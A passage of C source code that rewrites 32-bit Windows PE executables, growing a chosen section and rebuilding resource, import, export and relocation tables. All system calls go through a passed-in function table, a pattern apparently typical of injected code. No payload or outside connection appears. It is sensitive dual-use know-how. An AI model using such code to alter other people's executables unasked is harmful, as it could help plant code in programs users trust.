pAugmentedImageSectionHeader=((PBYTE)pAugmentedImageOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER)); dwAugmentedPE32LastSectionIndex=(pAugmentedImageFileHeader->NumberOfSections - 1); } // Re-add all sections that came after target section DWORD dwSectionAlignedTargetSectionSize; if((pAugmentedImageSectionHeader + dwTargetSectionIndex)->SizeOfRawData < (pAugmentedImageSectionHeader + dwTargetSectionIndex)->Misc.VirtualSize) { dwSectionAlignedTargetSectionSize=(pAugmentedImageSectionHeader + dwTargetSectionIndex)->Misc.VirtualSize; } else { dwSectionAlignedTargetSectionSize=(pAugmentedImageSectionHeader + dwTargetSectionIndex)->SizeOfRawData; } for(; dwSectionAlignedTargetSectionSize % pAugmentedImageOptionalHeader->SectionAlignment != 0; dwSectionAlignedTargetSectionSize++); DWORD dwNextSectionRVA=((pAugmentedImageSectionHeader + dwTargetSectionIndex)->VirtualAddress + dwSectionAlignedTargetSectionSize); PDATA_DIRECTORY_SECTION_CORRESPONDENCE pNewDataDirectorySectionCorrespondences=pAPITable->GlobalAlloc(GPTR, (pOriginalImageFileHeader->NumberOfSections * sizeof(DATA_DIRECTORY_SECTION_CORRESPONDENCE))); RelocateMemory(pNewDataDirectorySectionCorrespondences, pOriginalDataDirectorySectionCorrespondences, (pOriginalImageFileHeader->NumberOfSections * sizeof(DATA_DIRECTORY_SECTION_CORRESPONDENCE))); pAugmentedImageOptionalHeader->BaseOfData=0; // Resetting this will cause the first section containing data added to the PE32 to be identified as the data base PBYTE pNewDataDirectoryPool=NULL; DWORD dwNewDataDirectorySize=0; int nOverlaySize; for(dwX=(dwTargetSectionIndex + 1); dwX <= dwOriginalPE32LastSectionIndex; dwX++) { PBYTE pOldSectionPool=pOriginalPE32Pool + (pOriginalImageSectionHeader + dwX)->PointerToRawData, pNewSectionPool=NULL; DWORD dwOldRawSectionPoolSize=(pOriginalImageSectionHeader + dwX)->SizeOfRawData, dwOldVirtualSectionPoolSize=(pOriginalImageSectionHeader + dwX)->Misc.VirtualSize, dwCurrentNewSectionPoolOffset=0; BOOL bGeneratedNewSectionData=FALSE; pNewSectionPool=pAPITable->GlobalAlloc(GPTR, dwOldRawSectionPoolSize); for(dwY=0; dwY < (pNewDataDirectorySectionCorrespondences + dwX)->dwNumberOfContainedDataDirectories; dwY++) { pNewDataDirectoryPool=NULL; dwNewDataDirectorySize=0; if((pNewDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwDataDirectoryIndex == IMAGE_DIRECTORY_ENTRY_RESOURCE) { CreateResourceSectionFromAbstractions32(pAPITable, &pNewDataDirectoryPool, &dwNewDataDirectorySize, (dwNextSectionRVA + (pNewDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwOffset), dwTotalNumberOfDirectories, dwTotalNumberOfEntries, pTopLevelResourceDirectoryContainerAbstraction, NULL, NULL, NULL, dwTotalRawResourceDataSize, NULL); } else if((pNewDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwDataDirectoryIndex == IMAGE_DIRECTORY_ENTRY_IMPORT) { CreateIATSectionFromAbstractions32(pAPITable, pCurrentImportAbstractions, &pNewDataDirectoryPool, &dwNewDataDirectorySize, dwNextSectionRVA + (pNewDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwOffset, FALSE); } else if((pNewDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwDataDirectoryIndex == IMAGE_DIRECTORY_ENTRY_BASERELOC) { if(CreateRelocationSectionFromAbstractions32(pAPITable, pAugmentedPE32Pool, pRelocationAbstractions, &pNewDataDirectoryPool, &dwNewDataDirectorySize)) { // } else { // } } else if((pNewDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwDataDirectoryIndex == IMAGE_DIRECTORY_ENTRY_EXPORT) { CreateEATSectionFromAbstractions32(pAPITable, pAugmentedPE32Pool, pCurrentExportAbstractionTable->pExportAbstractions, &pNewDataDirectoryPool, &dwNewDataDirectorySize, pCurrentExportAbstractionTable->dwTotalNumberOfExports, pCurrentExportAbstractionTable->dwNumberOfExportNames, pCurrentExportAbstractionTable->pExportsName, dwNextSectionRVA + (pNewDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwOffset, dwExportDirectorySectionIndex, FALSE); } if(pNewDataDirectoryPool != NULL) { int nAugmentationSize=((int)dwNewDataDirectorySize - (int)(pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwSize); if(nAugmentationSize > 0 && !pCurrentDataDirectoryAugmentationRecord->bContainingSectionAugmented[(pNewDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwDataDirectoryIndex]) { // Handle a required augmentation *pdwRequiredAugmentedSectionIndex=dwX; *pdwRequiredSectionAugmentationSize=nAugmentationSize; *pdwRequiredAugmentedDataDirectoryIndex=(pNewDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwDataDirectoryIndex; goto AugmentPE32SectionSizeCleanup; } else { bGeneratedNewSectionData=TRUE; (pNewDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwSize=dwNewDataDirectorySize; // Update the offset of all data directories that follow the current one within the current section for(dwZ=(dwY + 1); dwZ < (pNewDataDirectorySectionCorrespondences + dwX)->dwNumberOfContainedDataDirectories; dwZ++) { (pNewDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwZ].dwOffset += (dwNewDataDirectorySize - (pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwSize); } // Build new section pool from old section pool and new data directory pAugmentedImageOptionalHeader->DataDirectory[(pNewDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwDataDirectoryIndex].Size=dwNewDataDirectorySize; pAugmentedImageOptionalHeader->DataDirectory[(pNewDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwDataDirectoryIndex].VirtualAddress=(dwNextSectionRVA + (pNewDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwOffset); if(nAugmentationSize > 0) { // Fix relocation abstractions within modified range: if between new data dir VA and the end of its containing section, augment it AugmentRelocationAbstractions32(pAPITable, pOriginalPE32Pool, pRelocationAbstractions, pOriginalImageOptionalHeader->DataDirectory[(pNewDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwDataDirectoryIndex].VirtualAddress, (pOriginalImageSectionHeader + dwX)->VirtualAddress + (pOriginalImageSectionHeader + dwX)->Misc.VirtualSize, (dwNewDataDirectorySize - (pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwSize)); } if(dwCurrentNewSectionPoolOffset == 0 && (pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwOffset != 0) { // This is the first data directory within this section. Preserve the data that came before it. RelocateMemory(pNewSectionPool, pOldSectionPool, (pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwOffset); dwCurrentNewSectionPoolOffset=(pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwOffset; } RelocateMemory(pNewSectionPool + dwCurrentNewSectionPoolOffset, pNewDataDirectoryPool, dwNewDataDirectorySize); dwCurrentNewSectionPoolOffset += dwNewDataDirectorySize; // Preserve the overlay data between the end of the current data directory and the beginning of the next (if any) nOverlaySize=(((dwY + 1) == (pNewDataDirectorySectionCorrespondences + dwX)->dwNumberOfContainedDataDirectories ? dwOldRawSectionPoolSize : (pNewDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY + 1].dwOffset) - ((pNewDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwOffset + dwNewDataDirectorySize)); if(nOverlaySize > 0 && (pNewDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwDataDirectoryIndex != IMAGE_DIRECTORY_ENTRY_BASERELOC) // Ignore overlay on relocations. Hack-fixed bug. { RelocateMemory(pNewSectionPool + dwCurrentNewSectionPoolOffset, pOldSectionPool + (pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwOffset + (pOriginalDataDirectorySectionCorrespondences + dwX)->DataDirectoryInformation[dwY].dwSize, nOverlaySize); dwCurrentNewSectionPoolOffset += nOverlaySize; } pAPITable->GlobalFree(pNewDataDirectoryPool); } } } if(!bGeneratedNewSectionData && dwOldRawSectionPoolSize != 0) { RelocateMemory(pNewSectionPool, pOldSectionPool, dwOldRawSectionPoolSize); } if(AddPE32Section(pAPITable, &pAugmentedPE32Pool, &dwAugmentedPE32PoolSize, (pOriginalImageSectionHeader + dwX)->Name, (pOriginalImageSectionHeader + dwX)->Characteristics, pNewSectionPool, dwOldVirtualSectionPoolSize, dwOldRawSectionPoolSize)) { pAugmentedImageDOSHeader=pAugmentedPE32Pool; pAugmentedImageFileHeader=((PBYTE)pAugmentedImageDOSHeader + pAugmentedImageDOSHeader->e_lfanew + 4); pAugmentedImageOptionalHeader=((PBYTE)pAugmentedImageFileHeader + sizeof(IMAGE_FILE_HEADER)); pAugmentedImageSectionHeader=((PBYTE)pAugmentedImageOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER)); dwAugmentedPE32LastSectionIndex=(pAugmentedImageFileHeader->NumberOfSections - 1); } else { goto AugmentPE32SectionSizeCleanup; } pAPITable->GlobalFree(pNewSectionPool); DWORD dwSectionAlignedCurrentSectionSize; if((pAugmentedImageSectionHeader + dwAugmentedPE32LastSectionIndex)->SizeOfRawData < (pAugmentedImageSectionHeader + dwAugmentedPE32LastSectionIndex)->Misc.VirtualSize) { dwSectionAlignedCurrentSectionSize=(pAugmentedImageSectionHeader + dwAugmentedPE32LastSectionIndex)->Misc.VirtualSize; } else { dwSectionAlignedCurrentSectionSize=(pAugmentedImageSectionHeader + dwAugmentedPE32LastSectionIndex)->SizeOfRawData; } for(; dwSectionAlignedCurrentSectionSize % pAugmentedImageOptionalHeader->SectionAlignment != 0; dwSectionAlignedCurrentSectionSize++); dwNextSectionRVA=(pAugmentedImageSectionHeader + dwAugmentedPE32LastSectionIndex)->VirtualAddress + dwSectionAlignedCurrentSectionSize; } if(dwExportDirectorySectionIndex != -1 && dwExportDirectorySectionIndex >= (dwTargetSectionIndex + 1)) { // An export directory was present. Re-generate it now that all VAs are known, and insert it into augmented PE32, overwriting the place it was initially re-generated to for(dwY=0; dwY < (pNewDataDirectorySectionCorrespondences + dwExportDirectorySectionIndex)->dwNumberOfContainedDataDirectories; dwY++) { if((pNewDataDirectorySectionCorrespondences + dwExportDirectorySectionIndex)->DataDirectoryInformation[dwY].dwDataDirectoryIndex == IMAGE_DIRECTORY_ENTRY_EXPORT) { PBYTE pNewExportDirectory=(pAugmentedPE32Pool + (pAugmentedImageSectionHeader + dwExportDirectorySectionIndex)->PointerToRawData + (pNewDataDirectorySectionCorrespondences + dwExportDirectorySectionIndex)->DataDirectoryInformation[dwY].dwOffset); dwNewDataDirectorySize=0; pNewDataDirectoryPool=NULL; CreateEATSectionFromAbstractions32(pAPITable, pAugmentedPE32Pool, pCurrentExportAbstractionTable->pExportAbstractions, &pNewDataDirectoryPool, &dwNewDataDirectorySize, pCurrentExportAbstractionTable->dwTotalNumberOfExports, pCurrentExportAbstractionTable->dwNumberOfExportNames, pCurrentExportAbstractionTable->pExportsName, (pAugmentedImageSectionHeader + dwExportDirectorySectionIndex)->VirtualAddress + (pNewDataDirectorySectionCorrespondences + dwExportDirectorySectionIndex)->DataDirectoryInformation[dwY].dwOffset, dwExportDirectorySectionIndex, TRUE); if((pNewDataDirectorySectionCorrespondences + dwExportDirectorySectionIndex)->DataDirectoryInformation[dwY].dwSize != dwNewDataDirectorySize) { goto AugmentPE32SectionSizeCleanup; } else { RelocateMemory(pNewExportDirectory, pNewDataDirectoryPool, dwNewDataDirectorySize); } } } } pAPITable->GlobalFree(pNewDataDirectorySectionCorrespondences); } bStatus=TRUE; *ppAugmentedPE32Pool=pAugmentedPE32Pool; *pdwAugmentedPE32PoolSize=dwAugmentedPE32PoolSize; AugmentPE32SectionSizeCleanup: FreeResourceAbstractions32(pAPITable, pTopLevelResourceDirectoryContainerAbstraction); FreeRelocationAbstractions32(pAPITable, pRelocationAbstractions); if(pCurrentImportAbstractions != pImportAbstractionTable) { FreeIATAbstractions32(pAPITable, pCurrentImportAbstractions); } if(pCurrentExportAbstractionTable != pExportAbstractionTable) { FreeEATAbstractions32(pAPITable, pCurrentExportAbstractionTable); } pAPITable->GlobalFree(pOriginalDataDirectorySectionCorrespondences); return bStatus; } BOOL CreateResourceSectionFromAbstractions32 (PAPI_TABLE pAPITable, PBYTE *ppPool, PDWORD pdwPoolSize, DWORD dwResourceSectionRVA, DWORD dwTotalNumberOfDirectories, DWORD dwTotalNumberOfEntries, PRESOURCE_DIRECTORY_ABSTRACTION pResourceDirectoryAbstractionTree, PIMAGE_RESOURCE_DIRECTORY *ppNextImageResourceDirectory, PDWORD pdwCurrentEntryIndex, PDWORD pdwLastSubdirectoryEntryCount, DWORD dwTotalRawResourceDataSize, PDWORD pdwCurrentRawResourceDataOffset) { /* Head jfhsdjhgf (directory) abshdhd (directory) hsushsha (directory) dghssdjsdhsd (entry) wydsfhjsfh (entry) sdfisufhuisfh (entry) qwhwjrhwjrhwrjh (directory) sdsygfsgyf (entry) ashgsfshgfjkfh (entry) ashabgshad (directory) lfkfjsdfusf (entry) vbhdvbdhbgdv (entry) asdiuasfhiufh (entry) __________________________________ | IMAGE_RESOURCE_DIRECTORY | Head |________________________________| | IMAGE_RESOURCE_DIRECTORY_ENTRY | jfhsdjhgf ----- |________________________________| | | IMAGE_RESOURCE_DIRECTORY_ENTRY | ashabgshad ---|--------------- |________________________________| | | | IMAGE_RESOURCE_DIRECTORY_ENTRY | vbhdvbdhbgdv | | |________________________________| | | | IMAGE_RESOURCE_DIRECTORY_ENTRY | asdiuasfhiufh | | |________________________________| | | | IMAGE_RESOURCE_DIRECTORY | <-------------| | |________________________________| | | IMAGE_RESOURCE_DIRECTORY_ENTRY | abshdhd --------- | |________________________________| | | | IMAGE_RESOURCE_DIRECTORY_ENTRY | wydsfhjsfh | | |________________________________| | | | IMAGE_RESOURCE_DIRECTORY_ENTRY | sdfisufhuisfh | | |________________________________| | | | IMAGE_RESOURCE_DIRECTORY_ENTRY | qwhwjrhwjrhwrjh |----- | |________________________________| | | | | IMAGE_RESOURCE_DIRECTORY | <---------------- | | |________________________________| | | | IMAGE_RESOURCE_DIRECTORY_ENTRY | hsushsha --- | | |________________________________| | | | | IMAGE_RESOURCE_DIRECTORY | <----------- | | |________________________________| | | | IMAGE_RESOURCE_DIRECTORY_ENTRY | dghssdjsdhsd | | |________________________________| | | | IMAGE_RESOURCE_DIRECTORY | <--------------------- | |________________________________| | | IMAGE_RESOURCE_DIRECTORY_ENTRY | sdsygfsgyf | |________________________________| | | IMAGE_RESOURCE_DIRECTORY_ENTRY | ashgsfshgfjkfh | |________________________________| | | IMAGE_RESOURCE_DIRECTORY | <----------------------------- |________________________________| | IMAGE_RESOURCE_DIRECTORY_ENTRY | lfkfjsdfusf |________________________________| | Resource data entries | <- IMAGE_RESOURCE_DATA_ENTRY structures |________________________________| | Resource name strings | <- IMAGE_RESOURCE_DIR_STRING_U structures |________________________________| | Raw resource data | |________________________________| */ DWORD dwResourceNamesOffset, dwDataEntriesOffset, dwRawResourceDataOffset, dwResourcePoolSize, dwCurrentEntryIndex, dwLastSubdirectoryEntryCount, dwCurrentRawResourceDataOffset; PBYTE pResourcePool, pNextResourceDirectory; PIMAGE_RESOURCE_DIRECTORY pCurrentImageResourceDirectory; PRESOURCE_DIRECTORY_ABSTRACTION pCurrentResourceDirectoryAbstraction=pResourceDirectoryAbstractionTree, pUpperResourceDirectoryAbstraction=pResourceDirectoryAbstractionTree->pUpperDirectoryAbstraction; dwResourceNamesOffset=((sizeof(IMAGE_RESOURCE_DIRECTORY) * dwTotalNumberOfDirectories) + (sizeof(IMAGE_RESOURCE_DIRECTORY_ENTRY) * dwTotalNumberOfEntries)); dwDataEntriesOffset=(dwResourceNamesOffset + (((64 * 2) + sizeof(WORD)) * dwTotalNumberOfEntries)); // A 64 wide char unicode string for every resource directory entry, and a WORD for its length. dwRawResourceDataOffset=(dwDataEntriesOffset + (sizeof(IMAGE_RESOURCE_DATA_ENTRY) * dwTotalNumberOfEntries)); dwResourcePoolSize=(dwRawResourceDataOffset + dwTotalRawResourceDataSize); if(pCurrentResourceDirectoryAbstraction->pUpperDirectoryAbstraction == pCurrentResourceDirectoryAbstraction) { pResourcePool=pAPITable->GlobalAlloc(GPTR, dwResourcePoolSize); pCurrentImageResourceDirectory=(PIMAGE_RESOURCE_DIRECTORY)pResourcePool; pCurrentImageResourceDirectory->Characteristics=0; pCurrentImageResourceDirectory->MajorVersion=0; pCurrentImageResourceDirectory->MinorVersion=0; pCurrentImageResourceDirectory->NumberOfIdEntries=pCurrentResourceDirectoryAbstraction->dwNumberOfIdEntries; pCurrentImageResourceDirectory->NumberOfNamedEntries=pCurrentResourceDirectoryAbstraction->dwNumberOfNamedEntries; pCurrentImageResourceDirectory->TimeDateStamp=pCurrentResourceDirectoryAbstraction->dwTimeDateStamp; pCurrentResourceDirectoryAbstraction=pCurrentResourceDirectoryAbstraction->pSubdirectoryAbstraction; // Ignore the top-most directory tree abstraction container dwCurrentEntryIndex=0; dwCurrentRawResourceDataOffset=0; *ppPool=pResourcePool; *pdwPoolSize=dwResourcePoolSize; } else { dwCurrentEntryIndex=*pdwCurrentEntryIndex; dwCurrentRawResourceDataOffset=*pdwCurrentRawResourceDataOffset; pCurrentImageResourceDirectory=(PIMAGE_RESOURCE_DIRECTORY)*ppNextImageResourceDirectory; pCurrentImageResourceDirectory->Characteristics=0; pCurrentImageResourceDirectory->MajorVersion=0; pCurrentImageResourceDirectory->MinorVersion=0; pCurrentImageResourceDirectory->NumberOfIdEntries=pUpperResourceDirectoryAbstraction->dwNumberOfIdEntries; pCurrentImageResourceDirectory->NumberOfNamedEntries=pUpperResourceDirectoryAbstraction->dwNumberOfNamedEntries; pCurrentImageResourceDirectory->TimeDateStamp=pUpperResourceDirectoryAbstraction->dwTimeDateStamp; pResourcePool=*ppPool; } pNextResourceDirectory=(PBYTE)pCurrentImageResourceDirectory; if((pNextResourceDirectory - pResourcePool + sizeof(IMAGE_RESOURCE_DIRECTORY)) >= dwResourceNamesOffset) { //printf("[-] Current resource directory ending at 0x%08x exceeds name boundary 0x%08x\r\n", (pNextResourceDirectory - pResourcePool), dwResourceNamesOffset); return FALSE; } dwLastSubdirectoryEntryCount=(pUpperResourceDirectoryAbstraction->dwNumberOfNamedEntries + pUpperResourceDirectoryAbstraction->dwNumberOfIdEntries); // Fill all directory entries/corresponding name strings and if applicable, data entry structures for this directory PIMAGE_RESOURCE_DIRECTORY_ENTRY pCurrentImageResourceDirectoryEntry=(PBYTE)pCurrentImageResourceDirectory + sizeof(IMAGE_RESOURCE_DIRECTORY); if((DWORD)((DWORD)pCurrentImageResourceDirectoryEntry - (DWORD)pResourcePool + sizeof(IMAGE_RESOURCE_DIRECTORY_ENTRY)) >= dwResourceNamesOffset) { //printf("[-] Current resource directory entry ending at 0x%08x exceeds name boundary 0x%08x\r\n", (DWORD)((DWORD)pCurrentImageResourceDirectoryEntry - (DWORD)pResourcePool + sizeof(IMAGE_RESOURCE_DIRECTORY_ENTRY)), dwResourceNamesOffset); return FALSE; } for(; pCurrentResourceDirectoryAbstraction != NULL; pCurrentResourceDirectoryAbstraction=pCurrentResourceDirectoryAbstraction->pNextDirectoryAbstraction) { if(pCurrentResourceDirectoryAbstraction->bNamedEntry) { // Fill name string for this entry PIMAGE_RESOURCE_DIR_STRING_U pImageResourceDirStringU=(PIMAGE_RESOURCE_DIR_STRING_U)((PBYTE)pResourcePool + dwResourceNamesOffset + (((64 * 2) + sizeof(WORD)) * dwCurrentEntryIndex)); if((DWORD)pImageResourceDirStringU - (DWORD)pResourcePool + (64 * 2) + sizeof(WORD) >= dwDataEntriesOffset) { //printf("[-] Current resource directory string ending at 0x%08x exceeds data entry boundary 0x%08x\r\n", (DWORD)pImageResourceDirStringU - (DWORD)pResourcePool + (64 * 2) + sizeof(WORD), dwDataEntriesOffset); return FALSE; } pImageResourceDirStringU->Length=pAPITable->lstrlenW(pCurrentResourceDirectoryAbstraction->pName); pAPITable->lstrcpyW((PBYTE)pImageResourceDirStringU + sizeof(WORD), pCurrentResourceDirectoryAbstraction->pName); // Set name pointer for entry pCurrentImageResourceDirectoryEntry->Name=(PBYTE)pImageResourceDirStringU - pResourcePool; (DWORD)pCurrentImageResourceDirectoryEntry->Name |= 0x80000000; // This is a name pointer, as opposed to an ID } else { (DWORD)pCurrentImageResourceDirectoryEntry->Name=pCurrentResourceDirectoryAbstraction->dwID; } BOOL bIsDirectory=((pCurrentResourceDirectoryAbstraction->pSubdirectoryAbstraction != NULL) ? TRUE : FALSE); if(bIsDirectory) { pNextResourceDirectory += (sizeof(IMAGE_RESOURCE_DIRECTORY) + (dwLastSubdirectoryEntryCount * sizeof(IMAGE_RESOURCE_DIRECTORY_ENTRY))); pCurrentImageResourceDirectoryEntry->OffsetToData=pNextResourceDirectory - pResourcePool; (DWORD)pCurrentImageResourceDirectoryEntry->OffsetToData |= 0x80000000; dwCurrentEntryIndex++; if(!CreateResourceSectionFromAbstractions32(pAPITable, ppPool, pdwPoolSize, dwResourceSectionRVA, dwTotalNumberOfDirectories, dwTotalNumberOfEntries, pCurrentResourceDirectoryAbstraction->pSubdirectoryAbstraction, &pNextResourceDirectory, &dwCurrentEntryIndex, &dwLastSubdirectoryEntryCount, dwTotalRawResourceDataSize, &dwCurrentRawResourceDataOffset)) { return FALSE; } } else { PIMAGE_RESOURCE_DATA_ENTRY pCurrentImageResourceDataEntry=(PBYTE)pResourcePool + dwDataEntriesOffset + (sizeof(IMAGE_RESOURCE_DATA_ENTRY) * dwCurrentEntryIndex); if((DWORD)pCurrentImageResourceDataEntry + sizeof(IMAGE_RESOURCE_DATA_ENTRY) - (DWORD)pResourcePool >= dwRawResourceDataOffset) { //printf("[-] Current data entry ending at 0x%08x exceeds the raw data boundary at 0x%08x\r\n", (DWORD)pCurrentImageResourceDataEntry - (DWORD)pResourcePool + sizeof(IMAGE_RESOURCE_DATA_ENTRY), dwRawResourceDataOffset); return FALSE; } // Set data pointer for entry pCurrentImageResourceDirectoryEntry->OffsetToData=(PBYTE)pCurrentImageResourceDataEntry - pResourcePool; if(dwRawResourceDataOffset + dwCurrentRawResourceDataOffset + pCurrentResourceDirectoryAbstraction->dwDataSize > dwResourcePoolSize) { //printf("[-] Current raw resource data ending at 0x%08x exceeds the resource pool size of 0x%08x\r\n", dwRawResourceDataOffset + dwCurrentRawResourceDataOffset + pCurrentResourceDirectoryAbstraction->dwDataSize, dwResourcePoolSize); return FALSE; } // Fill data entry structure for entry PBYTE pRawResourceData=(PBYTE)pResourcePool + dwRawResourceDataOffset + dwCurrentRawResourceDataOffset; pCurrentImageResourceDataEntry->CodePage=0; pCurrentImageResourceDataEntry->Reserved=0; pCurrentImageResourceDataEntry->OffsetToData=((DWORD)pRawResourceData - (DWORD)pResourcePool + dwResourceSectionRVA); pCurrentImageResourceDataEntry->Size=pCurrentResourceDirectoryAbstraction->dwDataSize; RelocateMemory(pRawResourceData, pCurrentResourceDirectoryAbstraction->pData, pCurrentResourceDirectoryAbstraction->dwDataSize); dwCurrentRawResourceDataOffset += pCurrentResourceDirectoryAbstraction->dwDataSize; dwCurrentEntryIndex++; } pCurrentImageResourceDirectoryEntry++; } if(pdwCurrentEntryIndex != NULL) { *pdwCurrentEntryIndex=dwCurrentEntryIndex; } if(ppNextImageResourceDirectory != NULL) { *ppNextImageResourceDirectory=pNextResourceDirectory; } if(pdwLastSubdirectoryEntryCount != NULL) { *pdwLastSubdirectoryEntryCount=dwLastSubdirectoryEntryCount; } if(pdwCurrentRawResourceDataOffset != NULL) { *pdwCurrentRawResourceDataOffset=dwCurrentRawResourceDataOffset; } return; } PRESOURCE_DIRECTORY_ABSTRACTION AddResourceDirectoryEntry32 (PAPI_TABLE pAPITable, PRESOURCE_DIRECTORY_ABSTRACTION pContainerDirectoryAbstraction, PWCHAR pName, DWORD dwNameLength, DWORD dwID, BOOL bNamedEntry, PBYTE pData, DWORD dwDataSize, BOOL bIsDirectory) { PRESOURCE_DIRECTORY_ABSTRACTION pNewDirectoryAbstraction, pCurrentDirectoryAbstraction; if(pContainerDirectoryAbstraction != NULL) { pCurrentDirectoryAbstraction=pContainerDirectoryAbstraction->pSubdirectoryAbstraction; pCurrentDirectoryAbstraction->pUpperDirectoryAbstraction=pContainerDirectoryAbstraction; if(pCurrentDirectoryAbstraction->pName == NULL && pCurrentDirectoryAbstraction->dwID == 0) { pNewDirectoryAbstraction=pCurrentDirectoryAbstraction; // If the first entry in this container is not initialized, then use it as the current entry. pNewDirectoryAbstraction->dwEntryNumber=1; } else { pNewDirectoryAbstraction=(PRESOURCE_DIRECTORY_ABSTRACTION)pAPITable->GlobalAlloc(GPTR, sizeof(RESOURCE_DIRECTORY_ABSTRACTION)); // Otherwise, allocate a new entry and add it onto the end of the current list of entries for(; pCurrentDirectoryAbstraction->pNextDirectoryAbstraction != NULL;) { pCurrentDirectoryAbstraction=pCurrentDirectoryAbstraction->pNextDirectoryAbstraction; } pCurrentDirectoryAbstraction->pNextDirectoryAbstraction=pNewDirectoryAbstraction; // Add the new directory entry to top-level container directory pNewDirectoryAbstraction->pPreviousDirectoryAbstraction=pCurrentDirectoryAbstraction; } } else { pNewDirectoryAbstraction=(PRESOURCE_DIRECTORY_ABSTRACTION)pAPITable->GlobalAlloc(GPTR, sizeof(RESOURCE_DIRECTORY_ABSTRACTION)); } if(bNamedEntry) { pNewDirectoryAbstraction->pName=pAPITable->GlobalAlloc(GPTR, (dwNameLength + 1) * 2);; pAPITable->lstrcpynW(pNewDirectoryAbstraction->pName, pName, dwNameLength); } else { pNewDirectoryAbstraction->dwID=dwID; } pNewDirectoryAbstraction->bNamedEntry=bNamedEntry; pNewDirectoryAbstraction->pData=pData; pNewDirectoryAbstraction->dwDataSize=dwDataSize; if(bIsDirectory) { PRESOURCE_DIRECTORY_ABSTRACTION pNewSubdirectoryAbstraction=(PRESOURCE_DIRECTORY_ABSTRACTION)pAPITable->GlobalAlloc(GPTR, sizeof(RESOURCE_DIRECTORY_ABSTRACTION)); pNewDirectoryAbstraction->pSubdirectoryAbstraction=pNewSubdirectoryAbstraction; // Pre-allocate the first entry in this subdirectory to indicate to this function when it is called with this new entry as the container that it was already allocated in the process of setting a valid sub directory pointer and should now be filled pNewSubdirectoryAbstraction->pUpperDirectoryAbstraction=pNewDirectoryAbstraction; } return pNewDirectoryAbstraction; } VOID GetResourceDirectoryAbstractionInfo32 (PRESOURCE_DIRECTORY_ABSTRACTION pContainerDirectoryAbstraction, PDWORD pdwNumberOfEntries, PDWORD pdwNumberOfDirectories, PDWORD pdwRawResourceDataSize) { DWORD dwNumberOfEntries, dwNumberOfDirectories, dwRawResourceDataSize; PRESOURCE_DIRECTORY_ABSTRACTION pCurrentResourceDirectoryAbstraction=pContainerDirectoryAbstraction; dwNumberOfEntries=*pdwNumberOfEntries; dwNumberOfDirectories=*pdwNumberOfDirectories; dwRawResourceDataSize=*pdwRawResourceDataSize; for(; pCurrentResourceDirectoryAbstraction != NULL; pCurrentResourceDirectoryAbstraction=pCurrentResourceDirectoryAbstraction->pNextDirectoryAbstraction) { BOOL bIsDirectory=((pCurrentResourceDirectoryAbstraction->pSubdirectoryAbstraction != NULL) ? TRUE : FALSE); if(bIsDirectory) { GetResourceDirectoryAbstractionInfo32(pCurrentResourceDirectoryAbstraction->pSubdirectoryAbstraction, &dwNumberOfEntries, &dwNumberOfDirectories, &dwRawResourceDataSize); dwNumberOfDirectories++; } else { dwRawResourceDataSize += pCurrentResourceDirectoryAbstraction->dwDataSize; } dwNumberOfEntries++; } *pdwNumberOfEntries=dwNumberOfEntries; *pdwNumberOfDirectories=dwNumberOfDirectories; *pdwRawResourceDataSize=dwRawResourceDataSize; return; } PRESOURCE_DIRECTORY_ABSTRACTION GetAbstractionsFromResources32 (PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, PIMAGE_SECTION_HEADER pTargetImageSectionHeader, DWORD dwNumberOfSections, PBYTE pResourcePool, PRESOURCE_DIRECTORY_ABSTRACTION pResourceDirectoryAbstractionContainer, PIMAGE_RESOURCE_DIRECTORY pNextImageResourceDirectory, PDWORD pdwTotalNumberOfEntries, PDWORD pdwTotalNumberOfDirectories, PDWORD pdwTotalRawResourceDataSize) { PRESOURCE_DIRECTORY_ABSTRACTION pCurrentResourceDirectoryAbstractionContainer; PIMAGE_RESOURCE_DIRECTORY pCurrentImageResourceDirectory; DWORD dwHeadDirectoryNameString[3], dwTotalRawResourceDataSize=*pdwTotalRawResourceDataSize, dwTotalNumberOfEntries=*pdwTotalNumberOfEntries, dwTotalNumberOfDirectories=*pdwTotalNumberOfDirectories; dwHeadDirectoryNameString[0]=('H' | ('e' << 16)); dwHeadDirectoryNameString[1]=('a' | ('d' << 16)); dwHeadDirectoryNameString[2]=0; if(pResourceDirectoryAbstractionContainer != NULL) { pCurrentResourceDirectoryAbstractionContainer=pResourceDirectoryAbstractionContainer; pCurrentImageResourceDirectory=pNextImageResourceDirectory; } else { pCurrentResourceDirectoryAbstractionContainer=AddResourceDirectoryEntry32(pAPITable, NULL, &dwHeadDirectoryNameString, 5, 0, TRUE, NULL, 0, TRUE); pCurrentImageResourceDirectory=(PIMAGE_RESOURCE_DIRECTORY)pResourcePool; dwTotalNumberOfEntries++; 